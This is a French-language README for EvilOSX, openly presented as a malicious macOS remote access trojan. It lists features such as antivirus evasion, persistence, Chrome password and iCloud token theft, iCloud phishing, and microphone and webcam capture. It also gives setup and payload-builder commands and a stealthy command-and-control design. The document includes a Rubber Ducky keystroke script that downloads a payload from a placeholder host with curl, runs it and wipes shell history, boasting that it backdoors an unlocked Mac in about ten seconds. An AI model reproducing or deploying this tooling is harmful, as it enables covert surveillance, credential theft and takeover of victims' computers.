EvilOSX
Un RAT (outil d'administration à distance) malveillant pour macOS / OS X.
Générateur de macro par Cedric Owens
Ce projet n'est plus actif
Fonctionnalités
- Émuler une instance de terminal
- Système de module simple et extensible
- Aucune dépendance de bot (python pur)
- Non détecté par les antivirus (charges utiles chiffrées avec OpenSSL AES-256)
- Persistant
- Support GUI et CLI
- Récupérer les mots de passe Chrome
- Récupérer les tokens iCloud et les contacts
- Récupérer/surveiller le presse-papiers
- Récupérer l'historique du navigateur (Chrome et Safari)
- Hameçonner les mots de passe iCloud via iTunes
- Énumération des sauvegardes iTunes (iOS)
- Enregistrer le microphone
- Prendre une capture d'écran du bureau ou une photo via la webcam
- Tenter d'obtenir les droits root via une élévation de privilèges locale
# Clonez ou téléchargez ce dépôt
$ git clone https://github.com/Marten4n6/EvilOSX
# Allez dans le dépôt
$ cd EvilOSX
# Installez les dépendances requises par le serveur
$ sudo pip install -r requirements.txt
# Lancez l'interface graphique
$ python start.py
# Enfin, exécutez un lanceur construit sur votre(vos) cible(s)
Avertissement : Étant donné que les charges utiles sont créées de manière unique pour le système cible (automatiquement par le serveur), le serveur doit être en cours d'exécution lorsqu'un bot se connecte pour la première fois.
Utilisateurs avancés
Il existe également une CLI pour ceux qui souhaitent l'utiliser via SSH :
# Créez un lanceur pour infecter votre(vos) cible(s)
$ python start.py --builder
# Lancez la CLI
$ python start.py --cli --port 1337
# Enfin, exécutez un lanceur construit sur votre(vos) cible(s)
Captures d'écran

Motivation
Ce projet a été créé pour être utilisé avec mon Rubber Ducky, voici le script simple :
REM Télécharger et exécuter EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM Voir aussi : https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Tuer tous les terminaux après x secondes
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- Il faut environ 10 secondes pour backdoorer n'importe quel Mac déverrouillé, ce qui est...... sympa
- Terminal est volontairement mal orthographié, car sur certains systèmes, Spotlight ne trouvera pas le terminal autrement.
- Pour contourner l'assistant de configuration du clavier, assurez-vous de modifier le VID&PID que vous trouverez ici.
Le clavier aluminium (ISO) est probablement celui que vous recherchez.
Versioning
EvilOSX sera maintenu selon les directives du Semantic Versioning autant que possible.
Les versions du serveur et du bot seront numérotées selon le format suivant :
Et construites selon les directives suivantes :
- Une rupture de compatibilité ascendante (avec des bots plus anciens) augmente le majeur
- Des ajouts sans rupture de compatibilité ascendante augmentent le mineur
- Les corrections de bugs et les changements divers augmentent le patch
Pour plus d'informations sur SemVer, veuillez consulter https://semver.org/.
Notes de conception
- L'infection d'une machine est divisée en trois parties :
- Un lanceur est exécuté sur la machine cible dont le seul but est d'exécuter le stager
- Le stager demande au serveur un chargeur qui gère la façon dont une charge utile sera chargée
- Le chargeur reçoit une charge utile chiffrée de manière unique, puis renvoyée au stager
- Le serveur masque ses communications en envoyant des messages cachés dans des pages d'erreur HTTP 404 (de "Hiding In Plain Sight" de BlackHat)
- Les demandes de commande sont récupérées du serveur via une requête GET
- Les réponses aux commandes sont envoyées au serveur via une requête POST
- Les modules tirent parti de la nature dynamique de Python ; ils sont simplement envoyés sur le réseau compressés avec zlib, avec les options de configuration
- Étant donné que le bot ne communique qu'avec le serveur et jamais l'inverse, le serveur n'a aucun moyen de savoir quand un bot se déconnecte
Problèmes
N'hésitez pas à soumettre tout problème ou demande de fonctionnalité ici.
Contribuer
Pour un guide simple sur la création de modules, cliquez ici.
Crédits
- L'incroyable projet Empire
- Un grand merci à Patrick Wardle pour ses superbes présentations, consultez Objective-See
- manwhoami pour ses projets : OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
(maintenant supprimés... faites-moi savoir si vous réapparaissez)
- Le module slowloris est en grande partie copié de PySlowLoris
- urwid et ce code qui m'ont fait gagner beaucoup de temps avec la CLI
- Logo créé par motusora
Licence
GPLv3